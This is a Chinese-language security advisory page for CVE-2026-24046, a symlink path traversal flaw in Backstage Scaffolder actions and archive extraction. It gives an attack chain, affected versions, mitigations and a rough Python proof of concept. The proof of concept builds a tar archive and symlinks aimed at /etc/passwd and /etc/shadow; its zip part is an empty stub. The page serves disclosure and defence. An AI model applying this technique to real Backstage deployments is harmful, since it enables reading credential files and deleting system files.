IPBUF安全漏洞报告
English
CVE-2026-24046 CVSS 7.1 高危

CVE-2026-24046 Backstage Scaffolder符号链接路径遍历漏洞

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2026-24046
漏洞类型
路径遍历
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Backstage (@backstage/backend-defaults, @backstage/plugin-scaffolder-backend, @backstage/plugin-scaffolder-node)

相关标签

路径遍历符号链接CVE-2026-24046BackstageScaffolder文件读取文件删除任意文件写入高危漏洞

漏洞概述

Backstage是一个开源的开发者门户框架。该漏洞存在于Backstage的多个Scaffolder操作和归档提取工具中,存在基于符号链接的路径遍历攻击风险。攻击者如果在Backstage部署中拥有创建和执行Scaffolder模板的权限,可以通过创建指向敏感文件的符号链接(如/etc/passwd、配置文件、密钥文件等)利用debug:log操作读取任意文件;通过创建指向工作区外部的符号链接利用fs:delete操作删除任意文件;以及通过包含恶意符号链接的归档文件(tar/zip)利用归档提取功能在工作区外写入文件。该漏洞影响所有允许用户创建或执行Scaffolder模板的Backstage部署环境,可能导致敏感信息泄露、系统文件被删除或恶意文件被写入系统任意位置。

技术细节

该漏洞的核心问题在于Backstage的Scaffolder模块在处理符号链接时缺乏适当的验证和限制。具体表现为三个方面:1) debug:log操作允许通过符号链接读取任意文件内容,攻击者可创建指向/etc/passwd、SSH密钥、API密钥等敏感文件的符号链接;2) fs:delete操作允许删除工作区外部的文件,攻击者可创建指向系统关键文件的符号链接并通过删除操作破坏系统完整性;3) tar/zip归档提取功能在解压时未正确处理归档内的符号链接,可将文件写入工作区外部的任意位置。攻击利用的关键在于符号链接可以被创建为相对路径或绝对路径指向任意目标,而Scaffolder操作在执行文件操作时未验证最终解析的路径是否在允许的工作区范围内。修复版本通过增加符号链接目标验证、限制符号链接指向范围以及在归档提取时拒绝包含外部符号链接的归档文件来解决这些问题。

攻击链分析

STEP 1
步骤1
攻击者获取Backstage部署中的Scaffolder模板创建或执行权限
STEP 2
步骤2
攻击者创建指向敏感系统文件的符号链接(如/etc/passwd、/etc/shadow、SSH密钥等)
STEP 3
步骤3
对于读取攻击:攻击者使用debug:log操作读取符号链接指向的文件内容
STEP 4
步骤4
对于删除攻击:攻击者使用fs:delete操作通过符号链接删除工作区外部的系统文件
STEP 5
步骤5
对于写入攻击:攻击者创建包含恶意符号链接的tar/zip归档文件,利用归档提取功能在工作区外写入文件
STEP 6
步骤6
攻击成功导致敏感信息泄露、系统完整性破坏或恶意文件植入

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-24046 PoC - Backstage Symlink Path Traversal # This PoC demonstrates the symlink-based path traversal vulnerability import os import tarfile import zipfile import tempfile def create_malicious_tar_with_symlink(): """Create a tar archive with malicious symlink for path traversal""" with tarfile.open('malicious.tar', 'w') as tar: # Create symlink pointing outside workspace os.symlink('/etc/passwd', 'symlink_to_etc_passwd') tar.add('symlink_to_etc_passwd', arcname='exploit/symlink_to_etc_passwd') print('[+] Created malicious.tar with symlink to /etc/passwd') def create_malicious_zip_with_symlink(): """Create a zip archive with malicious symlink for path traversal""" with zipfile.ZipFile('malicious.zip', 'w') as zf: # Note: Zip files don't natively support symlinks in standard tools # This is a conceptual demonstration pass print('[+] Created malicious.zip with symlink') def demonstrate_fs_delete_exploit(): """Demonstrate fs:delete symlink attack""" # Attacker creates symlink in workspace pointing to critical file symlink_path = '/workspace/evil_symlink' target_path = '/etc/passwd' os.symlink(target_path, symlink_path) print(f'[+] Created symlink: {symlink_path} -> {target_path}') print('[+] When fs:delete action processes this symlink, it will delete /etc/passwd') def demonstrate_debug_log_exploit(): """Demonstrate debug:log symlink attack for file reading""" # Attacker creates symlink in workspace pointing to sensitive file symlink_path = '/workspace/sensitive_file_symlink' target_path = '/etc/shadow' os.symlink(target_path, symlink_path) print(f'[+] Created symlink: {symlink_path} -> {target_path}') print('[+] debug:log action will read contents of /etc/shadow') if __name__ == '__main__': print('=== CVE-2026-24046 Backstage Symlink Path Traversal PoC ===') create_malicious_tar_with_symlink() demonstrate_fs_delete_exploit() demonstrate_debug_log_exploit() print('[+] PoC demonstrates symlink abuse for path traversal attacks')

影响范围

@backstage/backend-defaults < 0.12.2, 0.12.2 - 0.13.1, 0.13.2 - 0.14.0
@backstage/plugin-scaffolder-backend < 2.2.2, 2.2.2 - 3.0.1, 3.0.2 - 3.1.0
@backstage/plugin-scaffolder-node < 0.11.2, 0.11.2 - 0.12.2

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 按照Backstage威胁模型的建议,限制对创建和更新模板的访问权限;2) 使用权限框架严格限制谁可以创建和执行Scaffolder模板;3) 审计现有模板代码,检查是否存在符号链接的使用;4) 在容器化环境中运行Backstage,限制文件系统的访问范围;5) 监控Scaffolder操作的日志,及时发现异常的文件访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表